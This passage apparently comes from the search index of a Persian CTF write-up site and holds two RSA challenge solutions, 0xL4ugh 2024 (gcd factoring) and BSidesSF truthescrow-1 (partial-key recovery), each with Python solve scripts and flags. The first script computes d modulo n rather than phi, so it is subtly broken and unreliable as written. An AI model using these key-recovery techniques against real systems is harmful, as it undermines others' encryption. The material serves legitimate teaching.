\u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06cc\u06a9 \u0645\u062a\u063a\u06cc\u0631 hint \u062a\u0648\u06cc \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648\u0644\u06cc \u0627\u06af\u0647 \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f \u062a\u0648\u06cc \u0647\u06cc\u062c \u062c\u0627 \u0627\u0632 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0634\u062f\u0647 \u0648 \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u06a9\u0644\u0627 \u0628\u0647 \u062f\u0631\u062f \u0645\u0627 \u0646\u0645\u06cc\u062e\u0648\u0631\u0647.

\u0627\u0628\u062a\u062f\u0627 \u0628\u06cc\u0627\u06cc\u0646 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627 \u0631\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u062e\u0648\u0646\u062f\u0646\u0634 \u06a9\u0645\u06cc \u0622\u0633\u0648\u0646 \u062a\u0631 \u0628\u0634\u0647.

o_1\\equiv(p+5q)^{p_1}\\pmod{n} o_2\\equiv(2p-3q)^{p_2}\\pmod{n}

\u062d\u0627\u0644 \u0628\u06cc\u0627\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062e\u0648\u062f\u0645\u0648\u0646 \u0631\u0648 \u0647\u0631 \u06cc\u06a9 \u0631\u0627 \u0628\u0647 \u062a\u0648\u0627\u0646 \u062f\u06cc\u06af\u0631\u06cc \u0628\u0631\u0633\u0648\u0646\u06cc\u0645\u060c \u06cc\u0639\u0646\u06cc:

o_1^{p_2}\\equiv(p+5q)^{p_1p_2}\\pmod{n} o_2^{p_1}\\equiv(2p-3q)^{p_2p_1}\\pmod{n}

\u0628\u0647 \u062f\u0644\u06cc\u0644 \u00a0Binomial Theorem\u060c \u0645\u06cc \u062f\u0627\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0633\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645:

o_1^{p_2}\\equiv(p)^{p_1p_2} + (5q)^{p_1p_2}\\pmod{n} o_2^{p_1}\\equiv(2p)^{p_2p_1} + (-3q)^{p_1p_2}\\pmod{n}

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0633\u0627\u06cc\u0631 \u0639\u0628\u0627\u0631\u062a \u0647\u0627 \u062f\u0627\u0631\u0627\u06cc \u06cc\u06a9 pq \u0628\u0631\u0627\u0628\u0631 n \u0647\u0633\u062a\u0646\u062f.

\u062d\u0627\u0644 \u0628\u06cc\u0627\u06cc\u0646 \u0647\u0631 \u062f\u0648 \u0645\u0639\u0627\u062f\u0644\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a (mod; q) \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u06cc\u0645. \u0628\u0627 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u060c q\u0647\u0627 \u062f\u0631 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0645\u0627 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u0646\u062f \u0648 \u0646\u062a\u06cc\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0645\u06cc\u0634\u0647:

o_1^{p_2}\\equiv(p)^{p_1p_2}\\pmod{q} o_2^{p_1}\\equiv(2p)^{p_2p_1}\\pmod{q}

\u062d\u0627\u0644\u0627 \u0627\u06af\u0647 \u0645\u0639\u0627\u062f\u0644\u0647 \u0627\u0648\u0644 \u0631\u0648 \u062f\u0631 (2)^{p_1p_2} \u0636\u0631\u0628 \u06a9\u0646\u06cc\u0645 \u0645\u06cc\u0634\u0647:

o_1^{p_2} \\cdot 2^{p_1p_2} \\equiv(p)^{p_1p_2} \\cdot 2^{p_1p_2}\\pmod{q} o_2^{p_1}\\equiv(2p)^{p_2p_1}\\pmod{q}

\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062f\u0627\u0631\u06cc\u0645:

o_1^{p_2} \\cdot 2^{p_1p_2} =(2p)^{p_1p_2}\\pmod{q} o_2^{p_1}\\equiv(2p)^{p_2p_1} + k_2q

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u062a\u0639\u0631\u06cc\u0641 \u062d\u0633\u0627\u0628 \u067e\u06cc\u0645\u0627\u0646\u0647 \u0627\u06cc \u06cc\u0627 (Modular Arithmetic) \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645:

o_1^{p_2} \\cdot 2^{p_1p_2} =(2p)^{p_1p_2} + k_1q o_2^{p_1}\\equiv(2p)^{p_2p_1} + k_2q

\u0645\u0639\u0627\u062f\u0644\u0647 \u062f\u0648\u0645 \u0631\u0648 \u0627\u0632 \u0627\u0648\u0644\u06cc \u06a9\u0645 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646:

x = o_1^{p_2} \\cdot 2^{p_1p_2} - o_2^{p_1} = (2p)^{p_1p_2} + k_1q - ((2p)^{p_2p_1} + k_2q)\\equiv(k_1 - k_2)q

\u062e\u0628 \u062d\u0627\u0644\u0627 \u0639\u062f\u062f\u06cc \u062a\u0648\u0644\u06cc\u062f \u06a9\u0631\u062f\u0647 \u0627\u06cc\u0645 \u06a9\u0647 \u0645\u0636\u0631\u0628 q \u0647\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 gcd(x, n),\u00a0 \u200d\u200d q \u0631\u0627 \u0628\u0631\u0645\u06cc \u06af\u0631\u062f\u0627\u0646\u062f.

\u062d\u0627\u0644\u0627\u00a0 \u0627\u06af\u0647 \u0645\u0642\u062f\u0627\u0631 \u200d\u200dout_1 \u0645\u06cc\u062f\u0648\u0646\u0633\u062a\u06cc\u0645 \u06a9\u0627\u0631 \u062a\u0645\u0648\u0645 \u0628\u0648\u062f. \u0627\u0645\u0627 \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u0646\u0645\u06cc\u062f\u0648\u0646\u06cc\u0645. \u0645\u0627 \u0641\u0642\u0637 \u06a9\u0648\u0686\u06a9\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0632\u0631\u06af\u062a\u0631 \u0627\u0632 \u0627\u0648\u0646 \u0631\u0648 \u0645\u06cc\u062f\u0648\u0646\u06cc\u0645 \u06a9\u0647 eq1 \u0647\u0633\u062a. \u067e\u0633 \u0686\u062c\u0648\u0631\u06cc \u0645\u06cc \u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645\u061f

\u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 out_1 \u0645\u06cc\u0627\u06cc\u0645 \u062a\u0645\u0627\u0645\u06cc \u0627\u0639\u062f\u0627\u062f \u0645\u062a\u0648\u0627\u0644\u06cc \u06a9\u0645\u062a\u0631 \u0627\u0632 \u200deq1 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0627\u0648\u0644\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0631\u0633\u06cc\u0645 \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0627\u0648\u0646 out_1 \u0647\u0633\u062a.

find_out1.py
x1 = pow(2, power1*power2, n)\nx2 = pow(out2, power1, n)\n\nfor i in range(10000):\n    diff = abs(pow(eq1, power2, n)*x1 - x2)\n    q = gcd(diff, n)\n    if q > 1:\n        break\n    eq1 -= 1\n    if is_prime(eq1):\n        break\n

\u062e\u0628 \u0627\u0644\u0627\u0646 q \u0631\u0648 \u062f\u0627\u0631\u06cc\u0645\u060c\u00a0 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0631\u0648\u06cc\u0647 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f RSA \u0631\u0648 \u062c\u0644\u0648 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645:

solve.py
from gmpy2 import next_prime, gcd, is_prime\nfrom Crypto.Util.number import *\n\npower1=281633240040397659252345654576211057861\npower2=176308336928924352184372543940536917109\nhint=411\neq1=2215046782468309450936082777612424211412337114444319825829990136530150023421973276679233466961721799435832008176351257758211795258104410574651506816371525399470106295329892650116954910145110061394115128594706653901546850341101164907898346828022518433436756708015867100484886064022613201281974922516001003812543875124931017296069171534425347946706516721158931976668856772032986107756096884279339277577522744896393586820406756687660577611656150151320563864609280700993052969723348256651525099282363827609407754245152456057637748180188320357373038585979521690892103252278817084504770389439547939576161027195745675950581\nout2=224716457567805571457452109314840584938194777933567695025383598737742953385932774494061722186466488058963292298731548262946252467708201178039920036687466838646578780171659412046424661511424885847858605733166167243266967519888832320006319574592040964724166606818031851868781293898640006645588451478651078888573257764059329308290191330600751437003945959195015039080555651110109402824088914942521092411739845889504681057496784722485112900862556479793984461508688747584333779913379205326096741063817431486115062002833764884691478125957020515087151797715139500054071639511693796733701302441791646733348130465995741750305\nc=11590329449898382355259097288126297723330518724423158499663195432429148659629360772046004567610391586374248766268949395442626129829280485822846914892742999919200424494797999357420039284200041554727864577173539470903740570358887403929574729181050580051531054419822604967970652657582680503568450858145445133903843997167785099694035636639751563864456765279184903793606195210085887908261552418052046078949269345060242959548584449958223195825915868527413527818920779142424249900048576415289642381588131825356703220549540141172856377628272697983038659289548768939062762166728868090528927622873912001462022092096509127650036\nn=14478207897963700838626231927254146456438092099321018357600633229947985294943471593095346392445363289100367665921624202726871181236619222731528254291046753377214521099844204178495251951493800962582981218384073953742392905995080971992691440003270383672514914405392107063745075388073134658615835329573872949946915357348899005066190003231102036536377065461296855755685790186655198033248021908662540544378202344400991059576331593290430353385561730605371820149402732270319368867098328023646016284500105286746932167888156663308664771634423721001257809156324013490651392177956201509967182496047787358208600006325742127976151\ne = eq1\n\nx1 = pow(2, power1*power2, n)\nx2 = pow(out2, power1, n)\nfor i in range(10000):\n    diff = abs(pow(eq1, power2, n)*x1 - x2)\n    q = gcd(diff, n)\n    if q > 1:\n        break\n    eq1 -= 1\n    if is_prime(eq1):\n        break\n\np = n//q\nphi = (p - 1)*(q - 1)\nd = inverse(e, n)\nprint(long_to_bytes(pow(c, d, n)))\n
FLAG

0xL4ugh{you_know_how_factor_N!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["0xL4ughCTF","0xL4ughCTF-2024","Crypto","RSA","RSA-GCD","Modular Binomials"]},{"location":"crypto/writeups/BSidesSF/truthescrow1/","title":"\u0686\u0627\u0644\u0634 truthescrow-1","text":"","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half p and q"]},{"location":"crypto/writeups/BSidesSF/truthescrow1/#_1","title":"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0628\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0645\u0633\u0627\u0644\u0647","text":"

\u062e\u0628 \u0628\u0627 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u0632 \u0637\u0631\u06cc\u0642 netcat \u0628\u0647 \u0633\u0631\u0648\u0631 \u0633\u0648\u0627\u0644 \u0648\u0635\u0644 \u0645\u06cc\u0634\u06cc\u0645

ncat --proxy-type socks5 --proxy 127.0.0.1:2080 truthescrow-1fd51bd8.challenges.bsidessf.net 1984\n
\u0648 \u0628\u0627 \u062e\u0631\u0648\u062c\u06cc \u0632\u06cc\u0631 \u0631\u0648\u0628\u0631\u0648 \u0645\u06cc\u0634\u06cc\u0645
                                       ##\n                                      ####\n                                     ##  ##\n                                   ##########\n                           ##########      ##########\n                       #####      ###       ##      ######\n                    ####         ####      ####         #####\n                 ####           ## ###    ### ##           ####\n               ###             ##    ##  ###   ##             ###\n             ###              ##      #####     ###             ###\n            ###              ##       ####       ###              ###\n          ###               ##        ####        ##               ###\n         ###               ##        ### ###       ###               ##\n        ##                ##        ##    ###       ###               ##\n       ##               ###        ##      ###       ###               ##\n      ###              ###        ##        ###       ###               ##\n     ###              ###        ##############        ###              ###\n     ##              ###      ##### #### ###  #####     ###              ###\n    ###             ###    ####  ######  ######  ####    ###              ##\n    ##             ###   ###  ########    ########  ###    ##             ###\n   ###            ###   ##  #########      #########  ###   ##            ###\n   ###           ###  ###  ##########      ########### ###   ##           ###\n   ###          ##     ##  ##########      ##########  ###    ##          ###\n   ###         ##       ###  ########      ######### ###       ##         ###\n   ###        ##        #####  #######    #######  #####        ##        ###\n   ###       ##        ###  #### ####### ###### #####  ##        ##       ###\n    ##      ##        ###     ######        ######      ##        ##      ###\n    ###    ##        ###           ##########            ##        ##     ##\n    ###   ##        ###                                   ###       ###  ###\n     ######################################################################\n      ####        ##                                        ###       #####\n      ###        ##            MINISTRY OF TRUTH             ###       ###\n     ###        ##                SINCE 1984                  ###       ###\n    ####      ####                                            ####       ###\n   ##########################################################################\n           ###                                                    ###\n             ###       WAR IS PEACE     FREEDOM IS SLAVERY       ###\n              ####           IGNORANCE IS STRENGTH             ###\n                ####      PRIVATE KEYS ARE PUBLIC KEYS      ####\n                   ####                                  ####\n                      #####                          ######\n                         ######                  ######\n                              ####################\n\nTry \"help\" for a list of commands\n

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc\u0627\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0631\u0648 \u0627\u0645\u062a\u062d\u0627\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0647\u0631 \u062f\u0633\u062a\u0648\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647

\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 help
truthescrow> help\nhelp\n\ntruthescrow help:\n\n\nCommands:\n    help                 // Prints this help\n\n    help types           // Display help about the censorship types\n\n    listkeys             // Display all current private keys\n    genkey               // Generate a new keypair\n\n    listtruth            // Get a list of unread truth\n    sendtruth            // Speak truth to a citizen\n    readtruth            // Read truth from citizens\n\n    exit                 // Exit the keyservice\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 help types
truthescrow> help types\nhelp types\n\nAt the ministry of truth we believe in choice. Your private key\ncan be censored by masking half of p and q or masking half of d.\n\nChoose \"pq\" or \"d\" to select between these.\n\nWAR IS PEACE\nFREEDOM IS SLAVERY\nIGNORANCE IS STRENGTH\nPRIVATE KEYS ARE PUBLIC KEYS\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 listkeys
truthescrow> listkeys\nlistkeys\n\nCitizen  0. (Nicholas Howgrave-Graham)\nPublic n: 0xbd94491c739fbbf037263e855f4773051c5624294461786822dbb724282426232a8c66f01901b402b7d9193463145acd3e8b891637c99b6997ad15979364ea3268f4a3bf97be351b7b7f24c2f3da4f65c23f1d6aa61ef1d85d84006a2b96a50e3bc7addb816c66c7f12d11c56d35a99e6a6c60fcbdc8d90ec8ea3c1339d2d50cd1db8264dbf806661f430373c876431d8fa0344de2f075179cdde3f718249de992a1de8701a5e9253eb55334cdaaf27c5b894e60ccdc0b0d595f92e79882f42d25be63737fdfcbd428ba09db56099324d12127185c31859c5697d4ea0c256e841b7db55e9c217e72c5415fa6074032328c919b29d0be8b0e7a7249915585c86d\nPublic e: 0x10001\nPrivate p: 0xd192d28df547f3587e841b9177b323ea93fc043a28a297e189a50b9cc10785cf3bc53c26d8a31391f5aaf9ef3c8eb9b2e31dd5bf4355b1a724a8c9705264cd65[...]\nPrivate q: 0x[...]76008af358febf9d20fc174333a006fdd5de7edd7f9c715861dec66945baec90a98bda4bc5685dbd7b5a09a7d7564921b379615cea51f54023bae030f862f025\n\nCitizen  1. (Nadia Heninger Hovav Shacham)\nPublic n: 0xc17c59923900220c886dca8a49e4bc95e803b2be15cf452c25589c529bc5a03076337bfdda082c8f0ac634e8d3a3cb0a18e50002e9764c12306cd304c831a3e918042bfee0edbca556ecc19a506bb0580154166bcb6fbd537a62a9d6d69a7984d777baeb2066afac90bbeaa9b342adb8cd8b9eefa89574c23dd5f1f56dfc373726ce356067085c4a5a1567af6d3dd9f7a5a8f2f73d39f95453cbfdf25de50b6267f338c2edd1b0401ece05426701cc858f0f9b90e7628b5c505130c9f5c19c833d26e1c51f3f24c3cff0f915401f906ef1db3415e68622fe994ca6af85d27d210bb2069ad2ba38e994e3a2b63027da746cf87624a80661b5b7bf5a3a20a68125\nPublic e: 0x10001\nPrivate d: 0x[...]6ebbc2bf14ca4042c502666e8ed67d391aaf8ba94e5c77f0328fe74705b377c5163bb9d70c90ead25ad926c6d07e672edc649e838aac35e0e745870e09fc3ee3e68844e58cf44bfafa3343a1110aaf9799c1d7edae6c53c3bf5134407c594d853698b944e96f66ace28939c46369ee6633f029f764ac1503d9788888cd7e0b41f975d801\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 listtruth
truthescrow> listtruth\nlisttruth\nCitizen  0. (Nicholas, Howgrave-Graham): 1 unread truth\nCitizen  1. (Nadia Heninger, Hovav Shacham): 1 unread truth\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 readtruth
truthescrow> readtruth\nreadtruth\n\nEnter citizen (by number) to read unread truth? 0\n0\n\nWelcome Nicholas(?), before we continue, you must prove it's you\n\nPlease provide the signature for 167191240887922926367864635367418688498 : 123\n123\nSignature validation failed!\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 genkey
truthescrow> genkey\n\nFirst name? myName\n\nLast name? myFamily\n\nMask which part of private key (pq / d)? pq\n\nGenerating key for myName...\nmyName, your key is ready!\nPublic modulus: 20979142480287036782096448663659138925693237674236352794079268948084502992407162535815284022086411164153415552324026463075509151571302171135637480084305448742563933699548185852636262497346874930468833997334095726419709369992902285578489508950820146709218877805604917709398452431624208697101639920463933858368085556374738864559564823528330129197025514287755661274817687606841384703931455015768109579287479475972954536504802224629052561445762438733942237277343630121023374214450381316159943618195506783146813350739427763618750512315499303398456818791883300843331931426058789584475485596410344778964198791545947538224637\nPublic exponent: 65537\nPrivate exponent: 14022480985534486568499243690000893855989628398003012559998815573963435213427464712778865626859563926419280227498267836718535764294686842647612796055556406032745061807966618570803232963002271332669900563852786415243532187200193548984020216665252857570491980747890861959812002514111089338488751952575226553943593659689546916399081320296009292913027617586275084566979677876621805855253182121379328651098722383743889540290848904868131988569803798941020272467228257061824600039403308054560967400846645718413769077794347736899600194785455471325830667173673079432162686620773386394396431587327310147957056130759558692869613\nPrivate p: 143520065613884667110088351015529900092179284102268966793203999148382800365697568275165099205910730725349989239598280077044163113655111898779184440951090653891630295115058143608933469290010237772969195292930865897494760083372491221513253179143844896176241644867128092872414079683202327239101048896938688495563\nPrivate q: 146175675091507456737522798829014782811865451051857842412175674804900309324739374468470976895700263032713808718431551484030630157258985979150141144011800212233928309647511279576187170951230583778519784908700581474500862022004789022487123778222560461579933747277144333069595042839003536837263302708609396365399\n\n!PRIVATE KEYS ARE PUBLIC KEYS!\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 sendtruth
truthescrow> sendtruth\n\nEnter citizen (by number) to send truth? 2\n\nTruth for citizen 2? salam\nTruth sent!\n

\u062e\u0628 \u0628\u0631\u0627\u0633\u0627\u0633 \u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0628\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u062a\u0648 \u067e\u0627\u0631\u062a \u0627\u0648\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 truth \u0641\u0631\u062f Nicholas \u0628\u062e\u0648\u0646\u06cc\u0645. \u0628\u0631\u0627\u06cc \u062e\u0648\u0646\u062f\u0646 truth \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645 \u062a\u0627 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u0647\u0631 \u0641\u0631\u062f \u0631\u0648 \u0628\u0631\u0627\u0633\u0627\u0633 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 listkeys \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645 \u0648 \u0633\u067e\u0633 signature \u0639\u062f\u062f \u0631\u0646\u062f\u0648\u0645 k \u0631\u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0641\u0631\u0645\u0648\u0644 \u0632\u06cc\u0631 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 readtruth \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0641\u0644\u06af \u0628\u0631\u0633\u06cc\u0645

signature \\equiv k^d \\pmod{n}

\u0628\u0631\u0627\u0633\u0627\u0633 \u062e\u0631\u0648\u062c\u06cc help types \u0648 listkeys \u062f\u0631 \u067e\u0627\u0631\u062a \u0627\u0648\u0644 \u0633\u0648\u0627\u0644\u060c \u0628\u0647 \u0645\u0627 n \u0648 e \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648\u0644\u06cc \u0646\u0635\u0641 \u0628\u06cc\u062a \u0647\u0627\u06cc \u067e\u0627\u06cc\u06cc\u0646(\u06a9\u0645 \u0627\u0631\u0632\u0634) p \u0648 \u0646\u0635\u0641 \u0628\u06cc\u062a \u0647\u0627\u06cc \u0628\u0627\u0644\u0627(\u067e\u0631\u0627\u0631\u0632\u0634) q \u0633\u0627\u0646\u0633\u0648\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a.

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half p and q"]},{"location":"crypto/writeups/BSidesSF/truthescrow1/#_2","title":"\u0631\u0627\u0647 \u062d\u0644","text":"

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u0628\u0627\u0632\u06cc \u0628\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a genkey \u0648 listkeys \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u06a9\u0647 p \u0648 q \u0645\u0627 1024 \u0628\u06cc\u062a\u06cc \u0628\u0648\u062f\u0647 \u0648 \u062f\u0631 \u062a\u0633\u06a9 \u0627\u0648\u0644 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 p \u0648 512 \u0628\u06cc\u062a \u067e\u0631\u0627\u0631\u0632\u0634 q \u0633\u0627\u0646\u0633\u0648\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0627\u06cc\u062f \u0628\u062f\u0633\u062a\u0634\u0648\u0646 \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645

\u0646\u06a9\u062a\u0647

\u0645\u06cc\u062f\u0627\u0646\u06cc\u0645

n = p \\times q

\u0627\u0632 \u0637\u0631\u0641\u06cc \u0631\u0627\u0628\u0637\u0647 \u0632\u06cc\u0631 \u0635\u0627\u062f\u0642 \u0627\u0633\u062a

n \\bmod k = \\left( (p \\bmod k) \\times (q \\bmod k) \\right) \\bmod k

\u0628\u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644 \u0632\u0645\u0627\u0646\u06cc\u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 k \u0628\u0631\u0627\u0628\u0631 2^{512} \u0628\u0627\u0634\u062f \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a :

n \\bmod 2^{512} = \\left( (p \\bmod 2^{512}) \\times (q \\bmod 2^{512}) \\right) \\bmod 2^{512}

\u062d\u0627\u0644 \u0627\u06af\u0631 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 p \u0631\u0627 p_low \u0648 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 q \u0631\u0627 q_low \u0628\u0646\u0627\u0645\u06cc\u0645 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a

n \\bmod 2^{512} = \\left( p\\_low \\times q\\_low \\right) \\bmod 2^{512}

\u0648 \u0628\u0647 \u0639\u0628\u0627\u0631\u062a\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a

p\\_low = \\left( (n \\bmod 2^{512}) \\times (q\\_low^{-1}) \\right) \\bmod 2^{512}

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627\u0644\u0627 \u0628\u0633\u0627\u062f\u06af\u06cc \u0645\u06cc\u062a\u0648\u0627\u0646\u06cc\u0645 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 p \u0631\u0627 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645 \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0645\u0642\u062f\u0627\u0631 \u06a9\u0627\u0645\u0644 p \u0645\u062d\u0627\u0633\u0628\u0647 \u0645\u06cc\u0634\u0648\u062f \u0648 \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0645\u06cc\u062a\u0648\u0627\u0646 \u06a9\u0644\u06cc\u062f \u062e\u0635\u0648\u0635\u06cc Nicholas \u0631\u0627 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f \u0648 signature \u062e\u0648\u0627\u0633\u062a\u0647 \u0634\u062f\u0647 \u0645\u0633\u0627\u0644\u0647 \u0631\u0627 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0631\u062f \u0648 \u0628\u0647 \u0641\u0644\u06af \u0631\u0633\u06cc\u062f

n = 0xbd94491c739fbbf037263e855f4773051c5624294461786822dbb724282426232a8c66f01901b402b7d9193463145acd3e8b891637c99b6997ad15979364ea3268f4a3bf97be351b7b7f24c2f3da4f65c23f1d6aa61ef1d85d84006a2b96a50e3bc7addb816c66c7f12d11c56d35a99e6a6c60fcbdc8d90ec8ea3c1339d2d50cd1db8264dbf806661f430373c876431d8fa0344de2f075179cdde3f718249de992a1de8701a5e9253eb55334cdaaf27c5b894e60ccdc0b0d595f92e79882f42d25be63737fdfcbd428ba09db56099324d12127185c31859c5697d4ea0c256e841b7db55e9c217e72c5415fa6074032328c919b29d0be8b0e7a7249915585c86d\ne = 0x10001\np_high = 0xd192d28df547f3587e841b9177b323ea93fc043a28a297e189a50b9cc10785cf3bc53c26d8a31391f5aaf9ef3c8eb9b2e31dd5bf4355b1a724a8c9705264cd65\nq_low = 0x76008af358febf9d20fc174333a006fdd5de7edd7f9c715861dec66945baec90a98bda4bc5685dbd7b5a09a7d7564921b379615cea51f54023bae030f862f025\n\nknown = 512\np_low = (pow(q_low, -1, 2**known)*n)%2**known\np = p_high<<known|p_low\nassert n % p == 0\nq = n//p\nd = pow(e, -1, (p-1)*(q-1))\n\nk = 101047600963885791387700255279083702888\nsignature = pow(k, d, n)\nprint(f'{signature}')\n
FLAG

CTF{we_are_the_oprah_of_private_key_bits}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half p and q"]},{"location":"crypto/writeups/BSidesSF/truthescrow2/","title":"\u0686\u0627\u0644\u0634 truthescrow-2","text":"","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half d"]},{"location":"crypto/writeups/BSidesSF/truthescrow2/#_1","title":"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0628\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0645\u0633\u0627\u0644\u0647","text":"

